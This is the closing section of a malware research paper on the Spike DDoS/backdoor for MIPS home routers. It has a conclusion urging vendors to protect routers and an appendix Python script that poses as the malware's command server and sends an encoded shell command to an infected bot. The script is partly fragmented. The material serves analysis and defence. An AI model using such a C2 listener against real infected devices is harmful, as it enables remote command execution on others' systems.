In this paper, we have discussed debugging and code analysis of a Backdoor/DDoS malware sample for the MIPS architecture. The Spike DDoS malware supports various DDoS functions as well as allows the execution of Shell commands. In our research, we have observed that a majority of the malware for the MIPS platform, including a known APT malware, focus on DDoS functionality. Moreover, backdoor access, modification of DNS settings, and other spying mechanisms have also been used by some of these malware. These functionalities can be effectively leveraged by cyber criminals as well as nation-state actors to achieve their various agendas.

The current state of security for the majority of home routers lacks the fundamental mechanisms of scanning and eradicating malicious programs. Moreover, the awareness among end-users regarding the possible malicious usage of their network devices is minimal. As such, an infected home router often remains infected until replaced. This requires that Anti-Virus products, in addition to PCs and laptops, protect other home network devices as well. Both network device vendors and AV vendors need to provide

M. J. Bohio, mjbohio@gmail.com
mechanisms for auto-updating their devices’ firmware and eradicating malicious programs from them as well. This could perhaps help in minimizing these agents of DDoS and other malicious activities.
6. References


M. J. Bohio, mjbohio@gmail.com
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M. J. Bohio, mjbohio@gmail.com
Appendix A

The following script was used to listen for the malware’s message containing system information. It then sends a shell command to execute on the infected system. The malware traffic was redirected by modifying the IP address of the secondary control server that is shown in Figure 14.

```python
import socket, re, sys, thread
def sendCmd(botconn, botaddr, shellcmd):
    data = botconn.recv(1024)
    if re.search("VERSONEX", data):
        botconn.sendall(shellcmd)
        botconn.close()

if __name__ == "__main__":

    HOST="'
    PORT=48080
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((HOST, PORT))
    except:
        print "Bind failed!"
        sys.exit()
    s.listen(2)

    shellcmd =
        "\x05\x00\x00\x00\x72\xf8\xf6\x64\x86\x68\x98\x16\xd4\xa4\x5e\xcc" + \\
        "\x60\xea\x6d\x01\x00\x00\x00\x25\x9e\x95\x7e\xb0\x92\xd0\x00"
        + \\
        "\x40\xeb\x6d\x01\xad\x9d\x95\x7e\x48\x0d\x00\xc9\x9d\x95\x7e"
        + \\
        "\x00\x00\x00\x00\xb8\x92\xd0\x00\x00\x00\x6e\xd0\x00\xc9\x9d\x95\x7e" + \\
```

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while 1:
    botconn, botaddr = s.accept()
    thread.start_new_thread(sendCmd, (botconn, botaddr, shellcmd))
s.close()
## Upcoming Training

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